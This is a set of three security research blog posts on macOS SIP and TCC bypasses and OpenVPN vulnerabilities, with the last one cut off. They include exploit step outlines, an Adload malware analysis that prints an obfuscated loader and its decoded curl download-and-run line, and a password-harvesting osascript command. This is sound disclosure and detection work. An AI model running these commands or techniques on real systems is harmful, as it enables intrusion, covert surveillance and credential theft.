SIP bypasses have traditionally focused on special binaries with specific entitlements. As a reminder, entitlements are special capabilities a process might have and are a part of the digital signature of the process. Therefore, entitlements cannot be easily forged by attackers. In addition to the well-documented entitlements available for software developers, certain entitlements are reserved only for processes that have specific operating system functions, such as system updates, debugging capabilities, memory tracing, and security extensions. We refer to them as private entitlements, as their name would commonly start with a com.apple.private prefix. There are many of those special entitlements, most are not documented by Apple at all.

Our team has identified the criticality in monitoring anomalous behavior by those specially entitled processes, as in many cases special entitlements could be used for bypassing security mechanisms. For example:

EntitlementDescription
com.apple.rootless.installProcesses entitled with the com.apple.rootless.install entitlement can bypass SIP file system checks. Several examples that abuse that entitlement have been reported, including:
– Reported by Stefan Esser and presented at SyScan360, this vulnerability misused the fact that fsck_cs follows symbolic links and could therefore write to arbitrary file paths.
– CVE-2022-26712 – reported by Mickey Jin. The vulnerability abuses the SystemShoveService.xpc XPC service, which is entitled with the com.apple.rootless.install entitlement.

Note that this is not a complete list of vulnerabilities associated with that entitlement.
com.apple.rootless.install.heritableProcesses entitled with the com.apple.rootless.install.heritable inherit the com.apple.rootless.install entitlement to all their child processes. Notable examples include:
– CVE-2019-8561 – discovered by Trend Micro. The vulnerability leverages a Time-of-check-time-of-use (TOCTOU) issue in the system_installd binary.
– CVE-2020–9854 – reported by Ilias Morad, which exploited a specific installer script that was spawned by system_installd and allowed an arbitrary process execution from a command-line argument.
– CVE-2021-30892 – reported by Microsoft Defender, known as “Shrootless”. The vulnerability abuses Apple-signed package that includes shell script components and abuses the system_installd binary.
– CVE-2022-22583 – reported by Perception Point. This vulnerability is a variant on our previously reported Shrootless vulnerability and takes advantage of a the /tmp symbolic link used by system_installd.
– CVE-2023-32369 – reported by Microsoft Defender, known as “Migraine”. The exploit abuses the system migration daemon (migrationd ).

Note that this is not a complete list of vulnerabilities associated with that entitlement.

There are other entitlements that could be used for other types of vulnerabilities, such as the com.apple.private.tcc.allow entitlement, which could be used for TCC bypasses, which we also monitor. However, in this blog post we will focus on SIP-related entitlements only.

Due to the sensitive nature of the com.apple.rootless.install.heritable entitlement, it is evident that monitoring anomalous child processes of processes entitled with com.apple.rootless.install.heritable is important for security research.

Discovery of SIP bypasses through custom file systems

One of the processes entitled with the previously described com.apple.rootless.install.heritable entitlement is storagekitd, which is a daemon that handles disk state-keeping by the Storage Kit private framework.

Screenshot of code depicting storagekitd and its SIP-related entitlements
Figure 1. storagekitd and its SIP-related entitlements

As shown, storagekitd has many SIP bypassing capabilities, including the com.apple.rootless.install.heritable, which means all its child processes are of great interest.

Using advanced hunting query language, we can look for all child processes of the storagekitd daemon:

DeviceProcessEvents
| where InitiatingProcessFileName == "storagekitd"
    and FolderPath !startswith "/System"
    and FolderPath !startswith "/sbin"
    and FolderPath !startswith "/bin"
    and FolderPath !startswith "/usr"
| summarize by ProcessCommandLine

Interestingly, we found several processes, which we immediately investigated:

Example pathExplanation
/Library/Filesystems/iboysoft_NTFS.fs/Contents/Resources/newfs_ms_ntfsCustom NTFS implementation from iBoysoft.
/Library/Filesystems/tuxera_ntfs.fs/Contents/Resources/newfs_tuxera_ntfsCustom NTFS implementation from Tuxera.
/Library/Filesystems/ufsd_ExtFS.fs/Contents/Resources/fsck_ufsd_ExtFSCustom EXT file system implementation from Paragon.
/Library/Filesystems/ufsd_NTFS.fs/Contents/Resources/fsck_ufsd_NTFSCustom NTFS implementation from Paragon.
/Library/Filesystems/easeus_NTFS.fs/Contents/Resources/newfs_easeus_NTFSCustom NTFS implementation from EaseUS.

We therefore attempted to install those solutions. By overriding the binaries under the relevant bundle under /Library/Filesystems and triggering them with the Disk Utility app, we proved that we were able to bypass SIP protections, overriding the Apple kernel extensions exclusion list. Moreover, we have successfully been able to automate our process with the diskutil utility, which, similarly to the Disk Utility app, uses the Storage Kit private framework:

Screenshot of code depicting storagekitd leading to SIP being bypassed
Figure 2. SIP bypass done by triggering storagekitd

It’s important to note everything described in this blog post is a macOS vulnerability due to storagekitd’s ability to invoke arbitrary processes without proper validation or dropping privileges, rather than a vulnerability in each of those products.

Experimenting with custom file systems

Mounting filesystems on macOS involves the Disk Arbitration daemon (diskarbitrationd), which supports filesystems that are implemented in the kernel (APFS, HFS+) and those that are implemented in userspace. Filesystems implemented in userspace are known as User Filesystems (UserFS). macOS comes pre-shipped with several such filesystem implementations, each appears as a file system bundle (*.fs) under /System/Library/Filesystems and /Library/Filesystems.

Screenshot of code depicting custom filesystem bundles
Figure 3. Custom filesystem bundles

While the structure of file system bundles is not-well documented, the diskarbitrationd is fully open-source, which shows what properties are expected from such a bundle. The structure is as follows:

  • A dictionary of FSMediaTypes exists, in which the key is the file system formal name (or a designated GUID), and the value contains various content hints.
  • More importantly, the bundle information clearly specifies the binary file names and command line-arguments that will be used for specific operations, such as mounting, repairing, and probing.

As described by Csaba Fitzl of Kandji in POC2024, upon mounting, the disk utility consults a specialized daemon known as the Storage Kit daemon (storagekitd), which, in turn, uses the Disk Arbitration daemon (diskarbitrationd) to invoke the right mount process via posix_spawn. However, we noticed certain operations (such as “disk repair”) are directly invoked under storagekitd. Since an attacker that can run as root can drop a new file system bundle to /Library/Filesystems, they can later trigger storagekitd to spawn custom binaries, hence bypassing SIP.

Screenshot of code depicting the new file system registration, including the name and executables to be run
Figure 4. New file system registration that includes the name and the executables to be run
Screenshot depicting the Disk Utility recognizing the registered file system
Figure 5. Registered file system recognized by the Disk Utility

Triggering the erase operation on the newly created file system can bypass SIP protections as well.

Detecting the vulnerability with Microsoft Defender for Endpoint monitoring

System Integrity Protection (SIP) serves as a critical safeguard against malware, attackers, and other cybersecurity threats, establishing a fundamental layer of protection for macOS systems. Bypassing SIP impacts the entire operating system’s security and could lead to severe consequences, emphasizing the necessity for comprehensive security solutions that can detect anomalous behavior from specially entitled processes. The challenge of detecting such threats is compounded by the inherent limitations in kernel-level visibility on macOS, making it difficult for traditional security measures to spot and mitigate these sophisticated attacks.

As our research demonstrates, an attacker with the ability to run as root could have exploited CVE-2024-44243 by loading third party kernel extensions to bypass SIP. To address these challenges, Microsoft Defender Vulnerability Management quickly identifies and resolves CVE-2024-44243 and similar vulnerabilities while Microsoft Defender for Endpoint offers robust monitoring capabilities designed to detect and alert on anomalous behavior associated with specially entitled processes on macOS. Proactive monitoring for such anomalies is crucial to enable defenders to stay ahead of emerging threats and mitigate potential risks effectively. By leveraging these advanced detection mechanisms, organizations can gain greater visibility into activities that may indicate an attempt to exploit vulnerabilities that bypass SIP and other protection technologies across platforms.

Screenshot of code depicting a SIP bypass alert in Microsoft Defender for Endpoint
Figure 6. Microsoft Defender for Endpoint Potential System Integrity Protection bypass alert

This research underscores the importance of shared knowledge and collaborative efforts within the security community. We’d like to again thank Apple for their work in addressing this vulnerability, and Mickey Jin for responsibly disclosing the vulnerability in parallel with Microsoft. We believe that disseminating this information will not only foster responsible disclosure but also encourage collective action to fortify defenses against developing threats. By working together and leveraging the insights gained from these findings, we can better protect our systems and respond effectively to evolving security challenges.

Jonathan Bar Or

Microsoft Defender Research Team

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Analyzing CVE-2024-44243, a macOS System Integrity Protection bypass through kernel extensions appeared first on Microsoft Security Blog.

]]>
New macOS vulnerability, “HM Surf”, could lead to unauthorized data access http://approjects.co.za/?big=en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/ Thu, 17 Oct 2024 16:00:00 +0000 Microsoft Threat Intelligence uncovered a macOS vulnerability that could potentially allow an attacker to bypass the operating system’s Transparency, Consent, and Control (TCC) technology and gain unauthorized access to a user’s protected data. The vulnerability, which we refer to as “HM Surf”, involves removing the TCC protection for the Safari browser directory and modifying a […]

The post New macOS vulnerability, “HM Surf”, could lead to unauthorized data access appeared first on Microsoft Security Blog.

]]>
Microsoft Threat Intelligence uncovered a macOS vulnerability that could potentially allow an attacker to bypass the operating system’s Transparency, Consent, and Control (TCC) technology and gain unauthorized access to a user’s protected data. The vulnerability, which we refer to as “HM Surf”, involves removing the TCC protection for the Safari browser directory and modifying a configuration file in the said directory to gain access to the user’s data, including browsed pages, the device’s camera, microphone, and location, without the user’s consent.  

After discovering the bypass technique, we shared our findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Apple released a fix for this vulnerability, now identified as CVE-2024-44133, as part of security updates for macOS Sequoia, released on September 16, 2024. At present, only Safari uses the new protections afforded by TCC. Microsoft is currently collaborating with other major browser vendors to investigate the benefits of hardening local configuration files.

We encourage macOS users to apply these security updates as soon as possible. Behavior monitoring protections in Microsoft Defender for Endpoint has detected activity associated with Adload, a prevalent macOS threat family, potentially exploiting this vulnerability. Microsoft Defender for Endpoint detects and blocks CVE-2024-44133 exploitation, including anomalous modification of the Preferences file through HM Surf or other methods.

We initially described TCC technology and how we were able to bypass it in our powerdir vulnerability discovery. As a reminder, TCC is a technology that prevents apps from accessing users’ personal information, including services such as location services, camera, microphone, downloads directory, and others, without their prior consent and knowledge. Formally, the only legitimate way for an app to gain access to those services is by approving a popup through the user interface, or by approving per-app access in the operating system’s settings. In this blog post, we share details on how HM Surf can enable attackers to bypass TCC and access the said services without user consent. We also provide guidance for organizations to protect devices from successful exploitation.

Safari entitlements and TCC

Entitlements, as we shared in a past blog post, are privileges that macOS apps might have, and are digitally signed by Apple. Apple reserves some entitlements to their own applications, which are known as private entitlements. Such entitlements commonly start with the com.apple.private prefix.

When it comes to TCC, the com.apple.private.tcc.allow entitlement allows the entitled app to completely bypass TCC checks for services that are mentioned under the entitlement. Safari, the default browser in macOS, has very powerful TCC entitlements, including com.apple.private.tcc.allow:

A screenshot of the code for TCC entitlements and various information on Safari
Figure 1. TCC entitlements and various information on Safari

There are two important aspects here:

  1. Safari can freely access the address book (kTCCServiceAddressBook), camera (kTCCServiceCamera), microphone (kTCCServiceMicrophone), and more, completely bypassing TCC access checks for those services.
  2. Safari is compiled with flags=0x2000 (library-validation), which means all dynamically loaded libraries must be digitally signed by the same Team ID. This feature could be considered a part of Apple’s Hardened Runtime, and hardens the app against certain type of attacks such as code injection. The Hardened Runtime technology is in many aspects similar to the Windows process mitigation policies, and essentially means an attacker is going to have a very hard time running arbitrary code in the context of Safari.

By default, when one browses a website that requires access to the camera or the microphone, a TCC-like popup still appears, which means Safari maintains its own TCC policy. That makes sense, since Safari must maintain access records on a per-origin (website) basis:

A screenshot of the TCC-like popup by Safari for when requesting to access the camera
Figure 2. TCC-like popup by Safari

We discovered that Safari maintains its configuration in various files under ~/Library/Safari (the user’s home directory). That said directory contains several files of interest, including the following:

FilenameDescriptionRemarks
AutoFillCorrections.dbA SQLite database containing autocorrections information.Useful for information gathering, but not TCC-related.
Downloads.plistA configuration file containing metadata about downloads.Useful for information gathering, but not TCC-related.
History.dbA SQLite database containing the browsing history.Useful for information gathering, but not TCC-related.
PerSitePreferences.dbA SQLite database containing the per-site preferences. Also contains default TCC security preferences.TCC-related, as it contains the default behavior for TCC service access.
UserMediaPermissions.plistA configuration file containing the permissions per site.TCC-related, as it contains the TCC user choices per-origin.

Therefore:

  1. Reading arbitrary files from the directory allows attackers to gather extremely useful information (such as the user’s browsing history).
  2. Writing to the directory allows TCC bypasses, for instance, by overriding the PerSitePreferences.db.

Apple’s approach of protecting that directory with TCC is therefore very justified.

Exploitation

Similar to the exploit we developed for powerdir, we noticed that sensitive files exist under the user’s home directory. We concluded we could use a similar method to remove the protection for the ~/Library/Safari directory.

Our exploit involves the following steps:

  1. Change the home directory of the current user with the dscl utility, which does not require TCC access in Sonoma (At this point, the ~/Library/Safari directory is no longer TCC protected).
  2. Modify the sensitive files under the user’s real home directory (such as /Users/$USER/Library/Safari/PerSitePreferences.db).
  3. Change the home directory again so Safari uses the now modified files.
  4. Run Safari to open a webpage that takes a camera snapshot and trace device location.

In our exploit, we also reset the TCC permissions of the Terminal (using tccutil) for the sake of demonstration.

We noticed that PerSitePreferences.db is used only when a secure connection occurs (over HTTPS), but an attacker could host malicious JavaScript code over HTTPS.

The JavaScript code that takes the camera snapshot and retrieves location information is straightforward and is hosted here (the code does not include the exploit). The most important part that usually requires TCC camera access is:

A screenshot of JavaScript code to access the camera in a macOS device
Figure 3. Accessing the camera through JavaScript
A screenshot of the code within the PerSitePreferences.db file used in the exploit.
Figure 4. The contents of the PerSitePreferences.db file we used in our exploit show full access to camera, microphone, downloads, and geolocation.

We downloaded the snapshot in our demonstration, but in a real scenario, an attacker could do stealthy things, including:

  1. Host the snapshot somewhere to be downloaded later privately.
  2. Save an entire camera stream.
  3. Record microphone and stream it to another server or upload it.
  4. Get access to the device’s location.
  5. Start Safari in a very small window to not draw attention.

We called our exploit HM Surf in reference to the HM03 (Surf) Safari zone and recorded a complete video of our exploit. Note how TCC access for Camera is not permitted, as well as Safari-specific controls do not automatically allow Camera access:

Third-party browsers

Third-party browsers such as Google Chrome, Mozilla Firefox, or Microsoft Edge do not have the same private entitlements as Apple applications, which means that the said apps can’t bypass TCC checks.

A screenshot of the popup shown by Google Chrome to ask for TCC access to the microphone.
Figure 6. Google Chrome first asking TCC access to the microphone via a “true” TCC popup that works at the app level.

Therefore, when an end-user runs a third-party browser to use a TCC service (such as the camera, microphone, or location) for the first time, a TCC popup will appear and ask for access to the resource. By design, the access approval happens at the app level rather than at a per-origin (the combination of schema, host name, and port number) level. Once access is approved to an app, it’s then up to that app to maintain their own database of approved origins for privacy and safety.

Detecting new Adload behavior via behavioral monitoring

After discovering this new technique of bypassing TCC, we deployed behavior monitoring detection strategies to protect customers. In analyzing the intelligence gathered from the detection strategies, we observed a suspicious activity in a customer’s device: a process by the name of p running from the /private/tmp world-writable folder (SHA-256: 17e1b83089814128bc243315894f412026503c10b710c9c59d4aaf67bc209cb8) that anomalously modified the local user’s Chrome Preferences file.

Upon further examination, we discovered the parent process was running with the following command line:

/Users/<username>/Library/Application Support/.17066225541972342347/Services/com.BasicIndex.service/BasicIndex.service” -s 6600

The com.BasicIndex.service folder name is a fake macOS service attributed to Adload, a prevalent macOS threat family we have described in the past.

These are the behaviors we discovered:

TTPsDescription
T1082 – System Information DiscoveryRunning the command: sh -c “sw_vers -productVersion” To detect the current macOS version.
T1033 – System Owner/User DiscoveryRunning the command: /usr/bin/id -u <username> To get the user ID of the given username. The username was reducted for privacy reasons.
T1059.002 – Command and Scripting Interpreter: AppleScript T1059.004 – Command and Scripting Interpreter: Unix ShellRunning the command: /usr/bin/osascript -e ‘do shell script “touch ‘/tmp/GmaNi4v50ekNZSI'” user name “<username>” password <password> as string) with administrator privileges’ To get an extra verification the correct user’s password was collected.
T1068 – Exploitation for Privilege EscalationAdding the following URL to the Microphone and Camera approved lists in the local user’s Chrome Preferences file: hxxps://localhost:4444 This is potentially done as a means to bypass TCC.
T1140 – Deobfuscate/Decode Files or Information T1059.004 – Command and Scripting Interpreter: Unix Shell T1071.001 – Application Layer Protocol: Web Protocols T1222.002 – File and Directory Permissions Modification: Linux and Mac File and Directory Permissions ModificationRunning the following base64-obfuscated script: /bin/zsh -c “echo -e WFVNS2JXNnNTM3c9J3RtcD0iJChta3R<reduced for brievty> | base64 -D | /bin/bash” After base64-decoding and script de-obfuscation, it turns into: tmp=”$(mktemp /tmp/XXXXXXXX)”; curl –retry 5 -f “hxxp://api.inetprogress.com/plg?u=B2874734-0534-5274-9025-3EDB3F160B34” -o “${tmp}”; if [[ -s “${tmp}” ]]; then chmod 777 “${tmp}”; “${tmp}”; fi; rm “${tmp}” Which simply downloads a second stage script and runs it.

Since we weren’t able to observe the steps taken leading to the activity, we can’t fully determine if the Adload campaign is exploiting the HM surf vulnerability itself. Attackers using a similar method to deploy a prevalent threat raises the importance of having protection against attacks using this technique.

Microsoft Defender for Endpoint uses advanced behavioral analytics and machine learning to detect anomalous activities on a device and can detect this kind of malicious behavior, including anomalous modification of the Preferences file through HM Surf or other methods.

A screenshot of the Microsoft Defender for Endpoint alert preventing the anomalous modification to browser files.
Figure 7. Prevention of anomalous modifications to browser files. Note this is a generic detection and does not only fit Adload campaigns.

Hardening device security through vulnerability management and behavioral monitoring

Continuous research on vulnerabilities in security technologies like TCC in macOS devices is important to help ensure that user data is protected from unauthorized access. Software vendors are always in a tight race against malicious actors to discover vulnerabilities and address them before they are exploited for attacks. The discoveries and insights from our research, including vulnerabilities such as Migraine, powerdir, and Shrootless, enrich our protection technologies and solutions such as Microsoft Defender for Endpoint, which allows organizations to quickly discover and remediate vulnerabilities in their networks that are increasingly becoming heterogeneous.

In addition, Microsoft Defender for Endpoint uses advanced behavioral analytics and machine learning to detect anomalous activities on a device, such as creating spoofed home directories, a technique which was previously used in other vulnerabilities. In the example provided in the previous section, Microsoft Defender for Endpoint detects modifications to the Safari private directory, as well as private directories of third-party browsers, as suspicious. Extending the concept, Defender for Endpoint has similar detections for sensitive file access (including Safari-specific settings) by a non-Safari application.

Apple has also introduced new APIs for App Group Containers that make SIP (System Integrity Policy) that protect configuration files from being modified by an external attacker, resolving the vulnerability class. At present, only Safari uses the new protections afforded by TCC. Microsoft is currently collaborating with other major browser vendors to investigate the benefits of hardening local configuration files. While Chromium and Firefox is yet to adopt the new APIs, Chromium is moving towards using os_crypt which solves the attack in a different way.

Microsoft continues to monitor the threat landscape to discover new vulnerabilities and attacker techniques that could affect macOS and other non-Windows devices. As cross-platform threats continue to increase, a coordinated response to vulnerability discoveries and other forms of threat intelligence sharing will help enrich protection technologies that secure users’ computing experience regardless of the platform or device they’re using.

References

Jonathan Bar Or
Microsoft Threat Intelligence

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post New macOS vulnerability, “HM Surf”, could lead to unauthorized data access appeared first on Microsoft Security Blog.

]]>
Chained for attack: OpenVPN vulnerabilities discovered leading to RCE and LPE http://approjects.co.za/?big=en-us/security/blog/2024/08/08/chained-for-attack-openvpn-vulnerabilities-discovered-leading-to-rce-and-lpe/ Thu, 08 Aug 2024 18:00:00 +0000 Microsoft researchers found multiple vulnerabilities in OpenVPN that could lead to an attack chain allowing remote code execution and local privilege escalation. This attack chain could enable attackers to gain full control over targeted endpoints, potentially resulting in data breaches, system compromise, and unauthorized access to sensitive information.

The post Chained for attack: OpenVPN vulnerabilities discovered leading to RCE and LPE appeared first on Microsoft Security Blog.

]]>
Microsoft researchers recently identified multiple medium severity vulnerabilities in OpenVPN, an open-source project with binaries integrated into routers, firmware, PCs, mobile devices, and many other smart devices worldwide, numbering in the millions. Attackers could chain and remotely exploit some of the discovered vulnerabilities to achieve an attack chain consisting of remote code execution (RCE) and local privilege escalation (LPE). This attack chain could enable attackers to gain full control over targeted endpoints, potentially resulting in data breaches, system compromise, and unauthorized access to sensitive information. Exploiting these vulnerabilities, however, necessitates user authentication and a deep understanding of OpenVPN’s inner workings, alongside intermediate knowledge of the operating systems. Today, we presented this research and demonstrated the discovered attack chain in our session at Black Hat USA 2024.

OpenVPN is widely used by thousands of companies spanning various industries across major platforms such as Windows, iOS, macOS, Android, and BSD. As such, exploitation of the discovered vulnerabilities, which affect all versions of OpenVPN prior to version 2.6.10 (and 2.5.10), could put endpoints and enterprises at significant risk of attack.

We reported the discovery to OpenVPN through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in March 2024 and worked closely with OpenVPN to ensure that the vulnerabilities are patched. Information on the security fixes released by OpenVPN to address these vulnerabilities can be found here: OpenVPN 2.6.10. We strongly urge OpenVPN users to apply the latest security updates as soon as possible. We also thank OpenVPN for their collaboration and recognizing the urgency in addressing these vulnerabilities.

Below is a list of the discovered vulnerabilities discussed in this blog:

CVE IDOpenVPN componentImpactAffected platform
CVE-2024-27459openvpnserv                             Denial of service (DoS), local privilege escalation (LPE)Windows
CVE-2024-24974openvpnserv                             Unauthorized access Windows
CVE-2024-27903openvpnservRemote code execution (RCE)Windows
Local privilege escalation (LPE), data manipulationAndroid, iOS, macOS, BSD
CVE-2024-1305Windows TAP driver Denial of service (DoS) Windows

In this blog post, we detail our analysis of the discovered vulnerabilities and the impact of exploitation. In addition to patching, we provide guidance to mitigate and detect threats attempting to exploit these vulnerabilities. This research emphasizes the need for responsible disclosure and collaboration among the security community to defend devices across platforms and build better protection for all, spanning the entire user-device ecosystem. The discovery of these vulnerabilities further highlights the critical importance of ensuring the security of enterprise and endpoint systems and underscores the need for continuous monitoring and protection of these environments.

What is OpenVPN?

OpenVPN is a virtual private network (VPN) system that creates a private and secure point-to-point or site-to-site connection between networks. The OpenVPN open-source project is widely popular across the world, including the United States, India, France, Brazil, the United Kingdom, and Germany, as well as industries spanning the information technology, financial services, telecommunications, and computer software sectors. This project supports different major platforms and is integrated into millions of devices globally.

OpenVPN is also the name of the tunneling protocol it uses, which employs the Secure Socket Layer (SSL) encryption protocol to ensure that data shared over the internet remains private, using AES-256 encryption. Since the source code is available for audit, vulnerabilities can be easily identified and fixed.

OpenVPN analysis

We discovered the vulnerabilities while examining the OpenVPN open-source project to enhance enterprise security standards. During this research, we checked two other popular VPN solutions and found that at the time they were impacted by a vulnerability (CVE-2024-1305). Following this discovery, we started hunting for and uncovered additional vulnerable drivers with the same issue and decided to investigate open-source VPN projects. Upon confirming that the same vulnerability was located in the OpenVPN open-source repository, our research then focused on examining the architecture and security model of the OpenVPN project for Windows systems.

OpenVPN architecture

OpenVPN server client architecture

OpenVPN is a sophisticated VPN system meticulously engineered to establish secure point-to-point or site-to-site connections. It supports both routed and bridged configurations, as well as remote access capabilities, making it a versatile choice for various networking needs. OpenVPN comprises both client and server applications, ensuring a comprehensive solution for secure communication.

With OpenVPN, peers can authenticate each other through multiple methods, including pre-shared secret keys, certificates, or username/password combinations. In multi-client server environments, the server can generate and issue an individual authentication certificate for each client, leveraging robust digital signatures and a trusted certificate authority. This ensures an elevated level of security and integrity in the authentication process, enhancing the overall reliability of the VPN connection. 

Diagram of OpenVPN's client server depicting the connection between the Gateway Client and the Access Server
Figure 1. OpenVPN client server model

Client-side architecture

The client-side architecture is where we discovered the additional three vulnerabilities (CVE-2024-27459, CVE-2024-24974, and CVE-2024-27903):

OpenVPN’s client architecture can be summarized in the following simplified diagram:

Diagram depicting the loaded plugin with the openvpn.exe usermode process connected by a named pope to the openvpnserv.exe system service within the client. The client is connected to the server via a tunnel.
Figure 2. OpenVPN client architecture with loaded plugin.dll

openvpnserv.exe and openvpn.exe

The system service launches elevated commands on behalf of the user, handling tasks such as adding or deleting DNS configurations, IP addresses, and routes, and enabling Dynamic Host Configuration Protocol (DHCP). These commands are received from the openvpn.exe process through a named pipe created for these two entities, such as “openvpn/service_XXX” where XXX is the thread ID (TID) that is being passed to the newly created process as a command line argument.

The launched commands arrive in the form of a binary structure that contains the relevant information for the specific command, with the structure being validated and only then launching the appropriate command. The below figure displays an example of the structure that contains information for adding/deleting DNS configuration:

Screenshot of code depicting the DNS configuration managing structure
Figure 3. OpenVPN DNS configuration managing structure

Additionally, openvpnserv.exe serves as the management unit, spawning openvpn.exe processes upon requests from different users on the machine. This can be done automatically using the OpenVPN GUI or by sending specifically crafted requests. Communication for this process occurs through a second named pipe, such as “openvpn/service”.

Openvpn.exe is the user mode process being spawned on behalf of the client. When openvpn.exe starts, it receives a path for a configuration file (as a command line argument). The configuration file that’s provided holds different information.

A lot of fields can be managed in configuration files, such as:

  1. Tunnel options
  2. Server mode options
  3. Client mode options

Plugin mechanism in openvpn.exe

Another mechanism of interest for us is the plugin mechanism in openvpn.exe, which can extend the functionality to add additional logic, such as authentication plugins to bring authentication against Lightweight Directory Access Protocol (LDAP) or Radius or other Pluggable Authentication Module
(PAM) backends. Some of the existing plugins are:

  1. Radiusplugin – Radius authentication support for open OpenVPN.
  2. Eurephia – Authentication and access control plugin for OpenVPN.
  3. Openvpn_defer_auth – OpenVPN plugin to perform deferred authentication requests.

The plugin mechanism fits into the earlier diagram, as shown in Figure 2.

The plugin is loaded as a directive in the configuration file, which looks like:

Screenshot of code depicting the client directive to load the plugin
Figure 4. OpenVPN client directive to load plugin

Furthermore, the number of callbacks defined in the plugin launch on behalf of the loading process (openvpn.exe), such as:

  1. openvpn_plugin_func_v1 – This function is called by OpenVPN each time the OpenVPN reaches a point where plugin calls should happen.
  2. openvpn_plugin_{open, func}_v3() – Defines the version of the v3 plugin argument.

OpenVPN security model

As previously mentioned, we discovered four vulnerabilities on the client side of OpenVPN’s architecture.

As described before, openvpnserv.exe (SYSTEM service) spawns the openvpn.exe process as a result of the request from the user. Furthermore, the spawned process runs in the context of the user who requested to create the new process, which is achieved through named pipe impersonation, as displayed in the below image:

Screenshot of code depicting named pipe impersonation
Figure 5. Named pipe impersonation

The ImpersonateNamedPipeClient function impersonates a named pipe client application.

Furthermore, to prevent unwanted behavior, specific EXPLICIT_ACCESS must be granted for any new process:

Screenshot of code depicting explicit access being granded for OVPN DACL
Figure 6. Explicit access for OVPN DACL

This explicit access, in addition to the earlier described “elevated commands” launched by openvpnserv.exe on request from the openvpn.exe process, and other comprehensive inspection of the passed arguments  ensure that malicious behavior cannot be launched in the name of the impersonated user.

Vulnerability analysis

CVE-2024-1305    

We identified a vulnerability in the “tap-windows6” project that involves developing the Terminal Access Point (TAP) adapter used by OpenVPN. In the project’s src folder, the device.c file contains the code for the TAP device object and its initialization.

In the device.c file, the CreateTapDevice method initializes a dispatch table object with callbacks for methods managing various Input/Output Controls (IOCTLs) for the device. One of these methods is TapDeviceWrite, which handles the write IOCTL.

Screenshot of code depicting where the wild kernel overflow vulnerability is located
Figure 7. Wild kernel overflow vulnerability location

The TapDeviceWrite method performs several operations and eventually calls TapSharedSendPacket. This method, in turn, calls NdisAllocateNetBufferAndNetBufferLists twice. In one scenario, it calls this function with the fullLength parameter, defined as follows:

Screenshot of code depicting the integer overflow
Figure 8. Integer overflow

Both PacketLength and PrefixLength are parameters passed from the TapDeviceWrite call and, therefore, attacker controlled. If these values are large enough, their sum (fullLength) can overflow (a 32-bit unsigned integer). This overflow results in the allocation of a smaller-than-expected memory size, which subsequently causes a memory overflow issue.

CVE-2024-27459  

The second vulnerability that we discovered resided in the communication mechanism between the openvpn.exe process and the openvpnserv.exe service. As described earlier, both of which communicate through a named pipe:

Screenshot of code depicting the size being read from a named pipe
Figure 9. Reading size from a named pipe

The openvpnserv.exe service will read the message size in an infinite loop from the openvpn.exe process and then handle the message received by calling the HandleMessage method. The HandleMessage method reads the size provided by the infinite loop and casts the read bytes into the relevant type accordingly:

Screenshot of code depicting the stack overflow vulnerability location
Figure 10. Stack overflow vulnerability location

This communication mechanism presents an issue as reading the “user” provided number of bytes on to an “n bytes” long structure located on the stack will produce a stack overflow vulnerability.

CVE-2024-24974  

The third vulnerability involves unprivileged access to an operating system resource. The openvpnserv.exe service spawns a new openvpn.exe process based on user requests received through the “\\openvpn\\service” named pipe. This vulnerability allows remote access to the named service pipe, enabling an attacker to remotely interact with and launch operations on it.

CVE-2024-27903  

Lastly, we identified a vulnerability in OpenVPN’s plugin mechanism that permits plugins to be loaded from various paths on an endpoint device. This behavior can be exploited by attackers to load harmful plugins from these different paths.

Exploiting and chaining the vulnerabilities

All the identified vulnerabilities can be exploited once an attacker gains access to a user’s OpenVPN credentials, which could be accomplished using credential theft techniques, such as purchasing stolen credentials on the dark web, using info-stealing malware, or sniffing network traffic to capture NTLMv2 hashes and then using cracking tools like HashCat or John the Ripper to decode them. The discovered vulnerabilities could then be combined to achieve different exploitation results, or chained together to form a sophisticated attack chain, as detailed in the below sections.

RCE exploitation

We first explored how an attacker could achieve remote code execution (RCE) exploitation using CVE-2024-24974 and CVE-2024-27903.

To successfully exploit these vulnerabilities and achieve RCE, an attacker must first obtain an OpenVPN user’s credentials. The attacker’s device must then launch the NET USE command with the stolen credentials to remotely access the operating system resources and grant the attacker access to the named pipes objects devices.

Next, the attacker can send a “connect” request to the “\\openvpn\\service” named pipe to launch a new instance of openvpn.exe on its behalf.

Screenshot of code depicting the initialization of OpenVPN from a remote location
Figure 11. Initializing OpenVPN from a remote location (in which {TARGET_MACHINE_PLACEHOLDER} can be substituted by a different end point)

In the request, a path to a configuration file (\\\\DESKTOP-4P6938I\\share\\OpenVPN\\config\\sample.ovpn) is specified that’s located on the attacker-controlled device. A log path is also provided into which the loaded plugin will write its logs (“–log \\\\\{TARGET_MACHINE_PLACEHOLDER}\\share\\OpenVPN\\log\\plugin_log.txt\).

The provided configuration has instructions to load malicious plugin, as such:

Screenshot of code depicting the malicious plugin loading directive from a remote location
Figure 12. Malicious plugin loading directive from a remote location

After successful exploitation, the attacker can read the log provided on the attacker-controlled device.

Screenshot of the plugin log on the attacker-controlled device
Figure 13. Plugin log on the attacker-controlled device

LPE exploitation

Next, we investigated how an attacker could achieve local privilege execution (LPE) using CVE-2024-27459 and CVE-2024-27903. To successfully achieve an LPE exploit in this context, an attacker must load a malicious plugin into the normal launching process of openvpn.exe by using a malicious configuration file.

